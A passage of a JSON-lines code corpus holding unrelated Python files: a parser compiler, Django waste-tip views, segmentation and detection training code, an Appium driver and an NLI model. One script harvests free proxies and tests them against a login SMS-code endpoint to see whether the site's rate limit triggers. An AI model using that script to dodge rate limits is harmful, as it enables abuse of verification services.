STATUS, TEXT\n\n\nclass Rule(Expression):\n has_params = True\n\n is_tagged = False\n is_commented = False\n\n num_blocks = 1\n\n def __init__(self, name, params, expr, is_ignored=False, is_omitted=False):\n self.name = name\n self.params = params\n self.expr = expr\n self.is_ignored = is_ignored\n self.is_omitted = is_omitted\n\n def __str__(self):\n params = '' if self.params is None else f'({\", \".join(self.params)})'\n return f'{self.name}{params} = {self.expr}'\n\n def _compile(self, out, flags):\n extra_params = ['_ctx'] if flags.uses_context else []\n params = extra_params + [str(TEXT), str(POS)] + (self.params or [])\n impl_name = utils.implementation_name(self.name)\n entry_name = f'_parse_{self.name}'\n\n definition = str(self)\n if '\"\"\"' in definition:\n definition = definition.replace('\"\"\"', '\\\\\"\\\\\"\\\\\"')\n\n with out.global_section():\n with out.DEF(impl_name, params):\n out.add_comment(f'Rule {self.name!r}')\n self.expr.compile(out, flags)\n out.YIELD((STATUS, RESULT, POS))\n\n with out.DEF(entry_name, ['text', 'pos=0', 'fullparse=True']):\n ctx = '_ctx, ' if flags.uses_context else ''\n out.RETURN(Code(f'_run({ctx}text, pos, {impl_name}, fullparse)'))\n\n out += Code(f'{self.name} = Rule({self.name!r}, {entry_name}, \"\"\"')\n out.extend(Code(' ', x) for x in definition.split('\\n'))\n out += Code('\"\"\")')\n","sub_path":"sourcer/expressions/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"192984462","text":"from django.shortcuts import render\nfrom konlpy.tag import Hannanum, Okt\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework import permissions\nfrom .serializers import *\n\n\n# Create your views here.\n\n# sentence = [\n # '아이스박스 어떻게 버려?',\n # '전자레인지 버리는 방법 좀 알려줘']\n #\n # print()\n # for idx, val in enumerate(sentence):\n # print(ha.nouns(val))\n # print()\n# ['보온보냉팩', '방법']\n\nclass TextVoiceDischargeTipsView(APIView):\n permission_classes = [\n permissions.IsAuthenticated,\n ]\n\n def post(self, request, format=None): #JSON: \"key\" : \"value\" --> \"searchWord\" : \"보온보냉팩 버리는 방법 좀 알려줘?\"\n\n searchSentence = request.data['searchWord'] #안드로이드에서 searchWord 입력해야함\n if \"캔\" in searchSentence:\n print(\"Okt\")\n okt = Okt()\n Nouns = okt.nouns(searchSentence)\n else:\n print(\"Hannanum\")\n ha = Hannanum()\n Nouns = ha.nouns(searchSentence)\n print('nouns: ', Nouns)\n Idx = []\n temp = []\n small_list = list()\n for word in Nouns:\n smallIdx = WasteCategoryS.objects.filter(cg_name__contains = word)\n for val in smallIdx:\n small_list.append(val)\n\n if len( smallIdx) == 0:\n print('len 0')\n middleIdx = WasteCategoryM.objects.filter(cg_name__contains=word)\n for ob in middleIdx:\n Idx.append(ob.idx)\n continue\n\n for ob in smallIdx:\n Idx.append(ob.cg_middle_idx.idx)\n\n print(Idx)\n dischargeTipsList = []\n for idx in Idx:\n dischargeTipsList.append(DischargeTips.objects.get(category_m_idx = idx))\n serializer = DischargeTipsSerializer(dischargeTipsList, many = True)\n\n waste_serializer = WasteCategorySSerializer(small_list, many=True)\n \n return Response({\n \"matching_name\" : waste_serializer.data,\n \"textVoiceDischargeTips\": serializer.data\n },status=status.HTTP_201_CREATED)\n\n\nclass ImageDischargeTipsView(APIView):\n permission_classes = [\n permissions.IsAuthenticated,\n ]\n\n def post(self, request, format=None): #JSON: \"key\" : \"value\" --> \"cg_name\" : \"선풍기\"\n # 이미지 품목 확인으로 나온 소분류 품목의 이름(cg_name)을 post의 형태로 받는다\n cg_name = request.data['cg_name']\n cg_middle_idx = WasteCategoryS.objects.get(cg_name = cg_name).cg_middle_idx\n dischargeTips = DischargeTips.objects.get(category_m_idx = cg_middle_idx.idx)\n serializer = DischargeTipsSerializer(dischargeTips)\n return Response({\n \"imageDischargeTips\" : serializer.data\n },status=status.HTTP_201_CREATED)\n\n\n\n\n","sub_path":"dischargeTipsApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128363350","text":"#Import Packages\r\nfrom glob import glob\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint\r\nfrom deeplab import DeepLabV3Plus\r\n\r\n\r\n\r\nbatch_size = 6 #Define Batch Size\r\nH, W = 512, 512 #Crop Size\r\nnum_classes = 26 #labels \r\n\r\n#Training Images and Mask\r\nimage_list = sorted(glob('dataset/leftImg8bit/train/*/*'))\r\nmask_list = sorted(glob('dataset/gtFine_only_level3Id/train/*/*'))\r\n\r\n#Validation Images and Mask\r\nval_image_list = sorted(glob('dataset/leftImg8bit/val/*/*'))\r\nval_mask_list = sorted(glob('gtFine_only_level3Id/val/**/*'))\r\n\r\n#Number of Training and Validation Images\r\nprint('Found', len(image_list), 'training images')\r\nprint('Found', len(val_image_list), 'validation images')\r\n\r\n#Checking the Image number with the mask number\r\nfor i in range(len(image_list)):\r\n assert image_list[i].split('/')[-1].split('_leftImg8bit')[0] == mask_list[i].split('/')[-1].split('_gtFine_labellevel3Ids')[0]\r\n\r\nfor i in range(len(val_image_list)):\r\n assert val_image_list[i].split('/')[-1].split('_leftImg8bit')[0] == val_mask_list[i].split('/')[-1].split('_gtFine_labellevel3Ids')[0]\r\n\r\n#Preprocess (-1,1)\r\ndef preprocess_input(x):\r\n x /= 255.\r\n x -= 0.5\r\n x *= 2.\r\n return x\r\n\r\n#Image and Mask Loader\r\ndef get_image(image_path, img_height=1080, img_width=1920, mask=False, flip=0):\r\n img = tf.io.read_file(image_path)\r\n if not mask:\r\n img = tf.cast(tf.image.decode_png(img, channels=3), dtype=tf.float32)\r\n img = tf.image.resize(images=img, size=[img_height, img_width])\r\n #img = tf.image.random_brightness(img, max_delta=50.)\r\n #img = tf.image.random_saturation(img, lower=0.5, upper=1.5)\r\n #img = tf.image.random_hue(img, max_delta=0.2)\r\n #img = tf.image.random_contrast(img, lower=0.5, upper=1.5)\r\n img = tf.clip_by_value(img, 0, 255)\r\n #img = tf.case([\r\n # (tf.greater(flip, 0), lambda: tf.image.flip_left_right(img))\r\n #], default=lambda: img)\r\n img = preprocess_input(img)\r\n else:\r\n img = tf.image.decode_png(img, channels=1)\r\n img = tf.cast(tf.image.resize(images=img, size=[\r\n img_height, img_width]), dtype=tf.float32)\r\n img = tf.clip_by_value(img, 0, 25) \r\n #img = tf.case([\r\n # (tf.greater(flip, 0), lambda: tf.image.flip_left_right(img))\r\n #], default=lambda: img)\r\n return img\r\n\r\n#Random Crop 512*512\r\ndef random_crop(image, mask, H=512, W=512):\r\n image_dims = image.shape\r\n offset_h = tf.random.uniform(\r\n shape=(1,), maxval=image_dims[0] - H, dtype=tf.int32)[0]\r\n offset_w = tf.random.uniform(\r\n shape=(1,), maxval=image_dims[1] - W, dtype=tf.int32)[0]\r\n\r\n image = tf.image.crop_to_bounding_box(image,\r\n offset_height=offset_h,\r\n offset_width=offset_w,\r\n target_height=H,\r\n target_width=W)\r\n mask = tf.image.crop_to_bounding_box(mask,\r\n offset_height=offset_h,\r\n offset_width=offset_w,\r\n target_height=H,\r\n target_width=W)\r\n return image, mask\r\n\r\n#load data \r\ndef load_data(image_path, mask_path, H=512, W=512):\r\n flip = tf.random.uniform(\r\n shape=[1, ], minval=0, maxval=2, dtype=tf.int32)[0]\r\n image, mask = get_image(image_path, flip=flip), get_image(\r\n mask_path, mask=True, flip=flip)\r\n image, mask = random_crop(image, mask, H=H, W=W)\r\n return image, mask\r\n\r\n#train data loader\r\ntrain_dataset = tf.data.Dataset.from_tensor_slices((image_list, mask_list))\r\ntrain_dataset = train_dataset.shuffle(buffer_size=128)\r\ntrain_dataset = train_dataset.apply(\r\n tf.data.experimental.map_and_batch(map_func=load_data,\r\n batch_size=batch_size,\r\n num_parallel_calls=tf.data.experimental.AUTOTUNE,\r\n drop_remainder=True))\r\ntrain_dataset = train_dataset.repeat()\r\ntrain_dataset = train_dataset.prefetch(tf.data.experimental.AUTOTUNE)\r\nprint(train_dataset)\r\n\r\n#val data loader\r\nval_dataset = tf.data.Dataset.from_tensor_slices((val_image_list,\r\n val_mask_list))\r\nval_dataset = val_dataset.apply(\r\n tf.data.experimental.map_and_batch(map_func=load_data,\r\n batch_size=batch_size,\r\n num_parallel_calls=tf.data.experimental.AUTOTUNE,\r\n drop_remainder=True))\r\nval_dataset = val_dataset.repeat()\r\nval_dataset = val_dataset.prefetch(tf.data.experimental.AUTOTUNE)\r\n\r\n#training strategy\r\nloss = tf.losses.SparseCategoricalCrossentropy(from_logits=True)\r\nstrategy = tf.distribute.MirroredStrategy()\r\nwith strategy.scope():\r\n model = DeepLabV3Plus(H, W, num_classes) \r\n model.load_weights('/gdrive/My Drive/Shared with Shubham_Deep Learning/xception_xception_ds16block14/top_weights.h5')\r\n for layer in model.layers:\r\n if isinstance(layer, tf.keras.layers.BatchNormalization):\r\n layer.momentum = 0.9997\r\n layer.epsilon = 1e-5\r\n elif isinstance(layer, tf.keras.layers.Conv2D):\r\n layer.kernel_regularizer = tf.keras.regularizers.l2(1e-4) \r\n model.compile(loss=loss, \r\n optimizer=tf.optimizers.Adam(learning_rate=1e-4), \r\n metrics=[tf.keras.metrics.MeanIoU(num_classes=26)])\r\n\r\n\r\ntb = TensorBoard(log_dir='logs', write_graph=True, update_freq='batch')\r\nmc = ModelCheckpoint(mode='min', filepath='top_weights.h5',\r\n monitor='val_loss',\r\n save_best_only='True',\r\n save_weights_only='True', verbose=1)\r\ncallbacks = [mc, tb]\r\n\r\nmodel.summary()\r\n\r\n#Training the Model\r\nmodel.fit(train_dataset,\r\n steps_per_epoch=len(image_list)/batch_size ,\r\n epochs=40,\r\n shuffle=True,\r\n validation_data=val_dataset,\r\n validation_steps=len(val_image_list)/batch_size,\r\n callbacks=callbacks)\r\n\r\n\r\n\r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"292070724","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nclass getIp:\n def __init__(self):\n self.headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'\n }\n def Join_ip(self,urls):\n for u in range(len(urls)):\n r = requests.get(urls[u],headers=self.headers).text\n soup = BeautifulSoup(r, 'lxml')\n # print(soup.select('#ip_list'))\n table = soup.find(id='ip_list')\n trList = table.find_all(name='tr')\n del trList[0]\n ips = []\n for i in range(len(trList)):\n ip = trList[i].select('td')[1].string +':'+ trList[i].select('td')[2].string\n ips.append(ip)\n self.val_ip(ips)\n def val_ip(self,ips):\n for i in range(len(ips)):\n proxy = ips[i]\n proxies = {\n 'http': 'http://' + proxy,\n 'https': 'https://' + proxy\n }\n try:\n # r = requests.get('http://httpbin.org/get', proxies=proxies, timeout=10)\n # r = requests.get('https://h5.ele.me/restapi/marketing/themes/3971/group_sns/2a3c4d71132f9c27', proxies=proxies, timeout=15)\n # r = requests.get('https://www.pdflibr.com/SMSContent/48',\n # proxies=proxies, timeout=15)\n r = requests.get('https://h5.ele.me/restapi/eus/login/mobile_send_code', proxies=proxies, timeout=15)\n print(r.text)\n if \"请稍后重试\" in r.text:\n print('测试进度-({}/{}),{},有效ip~~'.format(i+1,len(ips),ips[i]))\n else:\n print('测试进度-({}/{}),{},未知错误~~{}'.format(i+1,len(ips),ips[i],r.status_code))\n except Exception as e:\n pass\n def main(self):\n urls = []\n for i in range(1,10):\n url = 'http://www.xicidaili.com/wt/' + str(i)\n urls.append(url)\n self.Join_ip(urls)\nif __name__ == '__main__':\n c = getIp()\n c.main()","sub_path":"personalDemo/get_XiCiIP.py","file_name":"get_XiCiIP.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381834812","text":"from appium import webdriver\nimport time\nfrom write_user_command import WriteUserCommand\nclass BaseDriver:\n def android_driver(self,i):\n print('this is android_driver:',i)\n write_file=WriteUserCommand()\n devices=write_file.get_value('user_info_'+str(i),'deviceName')\n port=write_file.get_value('user_info_'+str(i),'port')\n desired_caps = {\n 'platformName': 'Android', # 设备系统\n 'deviceName': devices,\n # 'app':'E:\\\\来啊骑行项目\\\\骑行app版本管理\\\\国内版测试服务器\\\\livallridiing__02_2.1.3_2018-04-26_debug国内测试.apk',\n 'app': 'E:\\\\PycharmProjects\\\\appium\\\\app\\\\livallridiing__02_2.1.5_2018-03-27_debug.apk', # 测试apk包的路径\n 'noReset': True # 不需要每次都安装apk\n }\n # desired_caps['appPackage'] = 'com.livallsports' #aapt dump badging xxx.apk获取包名和activity\n # desired_caps['appActivity'] = 'com.livallriding.module.home.SplashActivity'\n driver = webdriver.Remote(\"http://localhost:\"+port+\"/wd/hub\", desired_caps)\n starttime = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n print('The start time is', starttime)\n driver.implicitly_wait(30)\n return driver","sub_path":"driver/base_driver.py","file_name":"base_driver.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"438139934","text":"\"\"\"\nCopyright 2017-2018 cgratie (https://github.com/cgratie/)\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\n\nimport keras\nfrom keras.utils import get_file\n\nfrom . import retinanet\nfrom . import Backbone\nfrom ..utils.image import preprocess_image\n\nclass EfficientNetBackbone(Backbone):\n \"\"\" Describes backbone information and provides utility functions.\n \"\"\"\n\n def retinanet(self, *args, **kwargs):\n \"\"\" Returns a retinanet model using the correct backbone.\n \"\"\"\n return efficientnet_retinanet(*args, backbone=self.backbone, **kwargs)\n\n def download_imagenet(self):\n \"\"\" Downloads ImageNet weights and returns path to weights file.\n Weights can be downloaded at https://github.com/fizyr/keras-models/releases .\n \"\"\"\n model_list = ['efficientnet-b0',\n 'efficientnet-b1',\n 'efficientnet-b2',\n 'efficientnet-b3',\n 'efficientnet-b4',\n 'efficientnet-b5',\n 'efficientnet-b6',\n 'efficientnet-b7']\n if self.backbone in model_list:\n resource = 'https://github.com/titu1994/keras-efficientnets/releases/download/v0.1/'+self.backbone+'_notop.h5'\n else:\n raise ValueError(\"Backbone '{}' not recognized.\".format(self.backbone))\n\n return get_file(\n '{}_weights_tf_dim_ordering_tf_kernels_notop.h5'.format(self.backbone),\n resource,\n cache_subdir='models',\n )\n\n def validate(self):\n \"\"\" Checks whether the backbone string is correct.\n \"\"\"\n allowed_backbones = ['efficientnet-b0',\n 'efficientnet-b1',\n 'efficientnet-b2',\n 'efficientnet-b3',\n 'efficientnet-b4',\n 'efficientnet-b5',\n 'efficientnet-b6',\n 'efficientnet-b7']\n if self.backbone not in allowed_backbones:\n raise ValueError('Backbone (\\'{}\\') not in allowed backbones ({}).'.format(self.backbone, allowed_backbones))\n\n def preprocess_image(self, inputs):\n \"\"\" Takes as input an image and prepares it for being passed through the network.\n \"\"\"\n return preprocess_image(inputs, mode='caffe')\n\nfrom keras_efficientnets import EfficientNetB0, EfficientNetB1, EfficientNetB2, EfficientNetB3, EfficientNetB4, EfficientNetB5, EfficientNetB6, EfficientNetB7\n\ndef efficientnet_retinanet(num_classes, backbone='efficientnet-b0', inputs=None, modifier=None, **kwargs):\n \"\"\" Constructs a retinanet model using a vgg backbone.\n\n Args\n num_classes: Number of classes to predict.\n backbone: Which backbone to use (one of ('vgg16', 'vgg19')).\n inputs: The inputs to the network (defaults to a Tensor of shape (None, None, 3)).\n modifier: A function handler which can modify the backbone before using it in retinanet (this can be used to freeze backbone layers for example).\n\n Returns\n RetinaNet model with a VGG backbone.\n \"\"\"\n # choose default input\n if inputs is None:\n inputs = keras.layers.Input(shape=(None, None, 3))\n\n # create the vgg backbone\n if backbone == 'efficientnet-b0':\n efficientnet = EfficientNetB0(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_16\", \"swish_34\", \"swish_49\"]\n elif backbone == 'efficientnet-b1':\n efficientnet = EfficientNetB1(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_24\", \"swish_48\", \"swish_69\"]\n elif backbone == 'efficientnet-b2':\n efficientnet = EfficientNetB2(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_24\", \"swish_48\", \"swish_69\"] \n elif backbone == 'efficientnet-b3':\n efficientnet = EfficientNetB3(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_24\", \"swish_54\", \"swish_78\"]\n elif backbone == 'efficientnet-b4':\n efficientnet = EfficientNetB4(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_30\", \"swish_66\", \"swish_96\"]\n elif backbone == 'efficientnet-b':\n efficientnet = EfficientNetB4(input_tensor = inputs, include_top=False, weights='imagenet')\n layer_names = [\"swish_30\", \"swish_66\", \"swish_96\"]\n else:\n raise ValueError(\"Backbone '{}' not recognized.\".format(backbone))\n \n\n if modifier:\n efficientnet = modifier(efficientnet)\n\n\n efficientnet.summary()\n # create the full model\n \n layer_outputs = [efficientnet.get_layer(name).output for name in layer_names]\n return retinanet.retinanet(inputs=inputs, num_classes=num_classes, backbone_layers=layer_outputs, **kwargs)\n","sub_path":"keras_retinanet/models/efficientnet.py","file_name":"efficientnet.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"43417700","text":"#!/usr/bin/env python3\n\ndef f(s,n):\n if n > len(s):\n return []\n i,j = 0,n\n out = []\n while j <= len(s):\n out.append(s[i:j])\n i = i + 1\n j = j + 1\n return out\n \nprint(f('49142',4))\n","sub_path":"python/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"449821589","text":"\"\"\"Main module for the fixed format flat file converter\"\"\"\n\nimport logging\nimport argparse\n\nfrom exceptions import DataDescriptorParseError\nfrom common_utils import timing\nfrom file_io import read_file, write_csv\nfrom data_descriptor import DataDescriptor\nfrom formatters import format_row, DEFAULT_MAPPER\n\nlogging.basicConfig(level=logging.INFO)\nLOGGER = logging.getLogger(__name__)\n\n\n@timing\ndef convert_file(data_descriptor_file: str, data_file: str,\n output_file: str) -> None:\n \"\"\" Orchestrate the conversion of a flat file using a given data\n descriptor\n\n :param data_descriptor_file: the data descriptor for the flat file contents\n :param data_file: full path to the flat file to process\n :param output_file: full path to the expected output file\n \"\"\"\n\n LOGGER.info(\"Started File conversion...\")\n data_descriptor = DataDescriptor(data_descriptor_file)\n\n LOGGER.info(f\"Retrieved data descriptor from {data_descriptor_file}\")\n write_csv(output_file, data_descriptor.headers)\n\n LOGGER.info(f\"Reading Flat file at {data_file}\")\n for data_row in read_file(data_file):\n row = format_row(data_row, data_descriptor, DEFAULT_MAPPER)\n write_csv(output_file, row, append=True)\n\n LOGGER.info(f\"File conversion complete. Generated csv at {output_file}\")\n\n\ndef parse_arguments():\n \"\"\" parses command line arguments \"\"\"\n parser = argparse.ArgumentParser(description=\"Run flat file format \"\n \"converter tool\")\n parser.add_argument(\"metadata_file\",\n help=\"Full path of the metadata file describing the \"\n \"flat file\")\n parser.add_argument(\"data_file\",\n help=\"Full path of the flat file\")\n parser.add_argument(\"output_file\",\n help=\"Full path of the output csv file\")\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n ARGV = parse_arguments()\n\n try:\n convert_file(ARGV.metadata_file, ARGV.data_file, ARGV.output_file)\n\n except (FileNotFoundError, DataDescriptorParseError) as error:\n LOGGER.exception(f\"Error occurred while converting flat file\")\n","sub_path":"file_converter.py","file_name":"file_converter.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"396534326","text":"\n# coding: utf-8\n\n# This is a copied version of the original used file in order \n# for the webservice to be still running if I change something in the code.\n# If more models are included and they use different functionality, this has to be adapted.\n\n# For running on cluster\nimport os; \n\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.cuda as cu\n\nimport fixed_embeddingholder_code as embeddingholder\nimport fixed_config_code as config\n\nimport re\n\n\n# for cuda\ndef make_with_cuda(t):\n return t.cuda()\n\ndef make_without_cuda(t):\n return t\n\n# always applies cuda() on model/tensor when available\ncuda_wrap = None\n\nif cu.is_available():\n print('Running with cuda enabled.')\n cuda_wrap = make_with_cuda\nelse:\n print('Running without cuda.')\n cuda_wrap = make_without_cuda\n\nclass SentenceEncoder(nn.Module):\n \"\"\"\n Encodes a sentence. This is later used to compare different sentences.\n \"\"\"\n \n def __init__(self, embedding_dim, dimen1, dimen2, dimen_out):\n \"\"\"\n Encode a sentence of variable length into a fixed length representation.\n \n @param embedding_dim - size of pretrained embeddings\n @param dimen_out - size of the resulting vector\n \"\"\"\n super(SentenceEncoder, self).__init__()\n \n self.directions = 2 # bidirectional\n \n self.dimen_out = dimen_out\n self.dimen1 = dimen1\n self.dimen2 = dimen2\n self.layers = 1 # number of lstm layers \n \n self.input_dim_2 = embedding_dim + dimen1 * self.directions\n self.input_dim_3 = self.input_dim_2 + dimen2 * self.directions\n \n \n # Encode via LSTM\n bidirectional = self.directions == 2\n self.lstm1 = nn.LSTM(embedding_dim, dimen1, bidirectional=bidirectional)\n self.lstm2 = nn.LSTM(self.input_dim_2, dimen2, bidirectional=bidirectional)\n self.lstm3 = nn.LSTM(self.input_dim_3, dimen_out, bidirectional=bidirectional)\n \n def init_hidden(self, batch_size):\n # (num_layers*directions, minibatch_size, hidden_dim)\n self.hidden_state1 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen1)))\n self.cell_state1 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen1)))\n self.hidden_state2 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen2)))\n self.cell_state2 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen2)))\n self.hidden_state3 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen_out)))\n self.cell_state3 = autograd.Variable(cuda_wrap(torch.zeros(self.layers * self.directions, batch_size, self.dimen_out)))\n \n def forward(self, sents):\n # init for current batch size\n self.init_hidden(sents.size()[1])\n \n output1, (h_n1, c_n1) = self.lstm1(sents, (self.hidden_state1, self.cell_state1))\n \n # shortcuts of hidden state to word embeddings\n input_lstm2 = torch.cat((sents, output1), dim=2)\n output2, (h_n2, c_n2) = self.lstm2(input_lstm2, (self.hidden_state2, self.cell_state2))\n input_lstm3 = torch.cat((input_lstm2, output2), dim=2)\n output3, (h_n3, c_n3) = self.lstm3(input_lstm3, (self.hidden_state3, self.cell_state3))\n return F.relu(output3)\n\nclass EntailmentClassifier(nn.Module):\n \"\"\"\n Classifier using the SentEncoder to encode sentences with three LSTM, \n followed by a FeedForward network of three layers.\n \"\"\"\n \n def __init__(self, pretrained_embeddings, padding_idx, dimen_hidden, dimen_out, dimen_sent_encoder = [64,128,256], nonlinearity=F.relu, dropout=0.1, sent_repr='all'):\n \"\"\"\n @param pretrained_embeddings - Already trained embeddings to initialize the embeddings layer\n @param dimen_sent_repr - Size of the learned representation of a single sentence\n @param dimen_hidden1 - Amount of output units of the first hidden layer of the FF\n @param dimen_hidden2 - Amount of output units of the second hidden layer of the FF\n @param dimen_out - Amount of output units of the output layer of the FF\n @param nonlinearity - Nonlinearity function that is applied to the ouputs of the hidden layers.\n @param dropout - Dropout rate applied within the FF \n @param sent_repr - \"all\" means the concatenation [p,p,p-h,p*h] is classified\n \"relative\" means that only [p-h,p*h] is classified\n \"\"\" \n \n super(EntailmentClassifier, self).__init__()\n \n if len(dimen_sent_encoder) != 3:\n raise Exception('must have three values for dimen_sent_encoder.')\n\n self.nonlinearity = nonlinearity\n self.sent_repr = sent_repr\n \n #self.embeddings = nn.Embedding(pretrained_embeddings.shape[0], pretrained_embeddings.shape[1], padding_idx=padding_idx)\n self.embeddings = nn.Embedding(pretrained_embeddings.shape[0], pretrained_embeddings.shape[1])\n # Use pretrained values\n self.embeddings.weight.data.copy_(torch.from_numpy(pretrained_embeddings))\n \n # since it is bidirectional, use half size of wanted dimensions\n self.sent_encoder = SentenceEncoder(pretrained_embeddings.shape[1], dimen_sent_encoder[0], dimen_sent_encoder[1], dimen_sent_encoder[2]) \n \n # 3 layer Feedforward \n dimen_sent_repr = dimen_sent_encoder[2] * 2 # multiplication because bidirectional\n self.dimen_sent_repr = dimen_sent_repr\n\n if sent_repr == \"all\":\n features = 4\n elif sent_repr == \"relative\":\n features = 2\n else:\n raise Exception('Invalid keyword for sent_repr. Must be \"all\" or \"relative\".')\n\n self.hidden1 = nn.Linear(dimen_sent_repr * features, dimen_hidden) # multiplication because of feature concatenation\n self.hidden2 = nn.Linear(dimen_hidden, dimen_hidden)\n self.hidden3 = nn.Linear(dimen_hidden, dimen_out)\n \n self.dropout1 = nn.Dropout(p=dropout)\n self.dropout2 = nn.Dropout(p=dropout)\n\n def classify_representations(self, rep_p, rep_h):\n feedforward_input = torch.cat((\n rep_p,\n rep_h,\n torch.abs(rep_p - rep_h),\n rep_p * rep_h\n ),1)\n out = self.nonlinearity(self.hidden1(feedforward_input))\n out = self.dropout1(out)\n out = self.nonlinearity(self.hidden2(out))\n out = self.dropout2(out)\n out = self.hidden3(out)\n return F.softmax(out)\n\n def forward(self, sent1, sent2, output_sent_info=False, twister=None):\n batch_size = sent1.size()[1]\n \n # Map to embeddings\n embedded1 = self.embeddings(sent1)\n embedded2 = self.embeddings(sent2)\n \n # Get sentence representation\n sent1_representation = self.sent_encoder(embedded1)\n sent2_representation = self.sent_encoder(embedded2)\n \n\n\n # Max pooling\n sent1_representation, idxs1 = torch.max(sent1_representation, dim=0)\n sent2_representation, idxs2 = torch.max(sent2_representation, dim=0)\n\n sent1_representation = sent1_representation.view(batch_size, -1)\n sent2_representation = sent2_representation.view(batch_size, -1)\n idxs1 = idxs1.view(batch_size, -1)\n idxs2 = idxs2.view(batch_size, -1)\n\n\n if twister != None:\n sent1_representation = twister.twist_representation(sent1_representation, 'premise')\n sent2_representation = twister.twist_representation(sent2_representation, 'hypothesis')\n # Create feature tensor\n if self.sent_repr == \"all\":\n feedforward_input = torch.cat((\n sent1_representation,\n sent2_representation,\n torch.abs(sent1_representation - sent2_representation),\n sent1_representation * sent2_representation\n ),1)\n else:\n feedforward_input = torch.cat((\n torch.abs(sent1_representation - sent2_representation),\n sent1_representation * sent2_representation\n ),1)\n \n # Run through feed forward network\n out = self.nonlinearity(self.hidden1(feedforward_input))\n out = self.dropout1(out)\n out = self.nonlinearity(self.hidden2(out))\n out = self.dropout2(out)\n out = self.hidden3(out)\n tag_scores = F.softmax(out)\n\n if output_sent_info:\n return tag_scores, [idxs1, idxs2], [sent1_representation, sent2_representation]\n\n return tag_scores\n\n def inc_embedding_layer(self, wv):\n '''\n Increase the embedding layer by the matrix wv.\n '''\n #self.embeddings.weight.data.copy_(torch.from_numpy(pretrained_embeddings))\n wv_new = cuda_wrap(torch.from_numpy(wv).float())\n wv_combined = torch.cat([self.embeddings.weight.data, wv_new])\n\n # adjust embedding layer size\n self.embeddings = nn.Embedding(wv_combined.size()[0], wv_combined.size()[1])\n self.embeddings.weight.data.copy_(wv_combined)\n \n\ndef left_number(val):\n '''\n Remove the letters from a value of a model name. e.g. 0_001lr -> 0.001\n '''\n return re.split('[a-z]', val)[0]\n\ndef lbl_to_float(val):\n '''\n Map a value from a name to a float.\n '''\n return float(val.replace('_', '.'))\n\ndef load_model(model_path, embedding_holder = None):\n '''\n Load a model. Parameters are retrieved from the given model name.\n\n @param stored_model Path to the stored model. Name must be untouched.\n @param embedding_holder Optional, if not specified the one inf config.py is used. Must have correct dimensions\n with the trained model.\n\n @return (model, model_name)\n '''\n\n if embedding_holder == None:\n embedding_holder = embeddingholder.EmbeddingHolder(config.PATH_WORD_EMBEDDINGS)\n\n # Model params:\n model_name = model_path.split('/')[-1]\n splitted = model_name.split('-')\n lr = lbl_to_float(left_number(splitted[0]))\n hidden_dim = int(left_number(splitted[1]))\n lstm_dim = [int(i) for i in left_number(splitted[2]).split('_')]\n batch_size = int(left_number(splitted[3]))\n dropout = lbl_to_float(left_number(splitted[6]))\n\n if splitted[5] == 'relu':\n nonlinearity = F.relu\n else:\n print('Unknown:', splitted[5])\n raise Exception('Unknown activation function.', splitted[5])\n\n # Create new model with correct dimensions\n model = cuda_wrap(EntailmentClassifier(embedding_holder.embeddings, \n embedding_holder.padding(),\n dimen_hidden=hidden_dim, \n dimen_out=3, \n dimen_sent_encoder=lstm_dim,\n nonlinearity=nonlinearity, \n dropout=dropout))\n\n # Model state:\n if cu.is_available():\n model.load_state_dict(torch.load(model_path))\n else:\n model.load_state_dict(torch.load(model_path, map_location=lambda storage, loc: storage))\n\n model.eval()\n return model, model_name\n\nclass ModelTwister:\n '''\n Manipulate dimensions of the sentence representation using this class.\n '''\n\n def __init__(self, twist, 